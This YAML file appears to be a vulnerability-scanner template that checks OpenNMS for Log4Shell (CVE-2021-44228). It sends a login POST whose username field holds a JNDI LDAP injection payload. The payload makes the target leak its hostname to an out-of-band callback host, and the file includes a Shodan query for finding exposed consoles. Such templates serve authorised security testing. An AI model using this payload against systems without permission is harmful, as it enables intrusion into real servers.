53 lines
1.9 KiB
YAML
53 lines
1.9 KiB
YAML
id: opennms-log4j-jndi-rce
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info:
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name: OpenNMS - Log4j JNDI RCE
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author: johnk3r
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severity: critical
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description: |
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OpenNMS Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker
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who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference:
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- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
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- https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cve-id: CVE-2021-44228
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metadata:
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verified: true
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shodan-query: title:"OpenNMS Web Console"
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tags: jndi,log4j,rce,opennms,cve,cve2021
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requests:
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- raw:
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- |
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POST /opennms/j_spring_security_check HTTP/1.1
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Referer: {{RootURL}}/opennms/login.jsp
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Content-Type: application/x-www-form-urlencoded
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j_username=${jndi:ldap://${hostName}.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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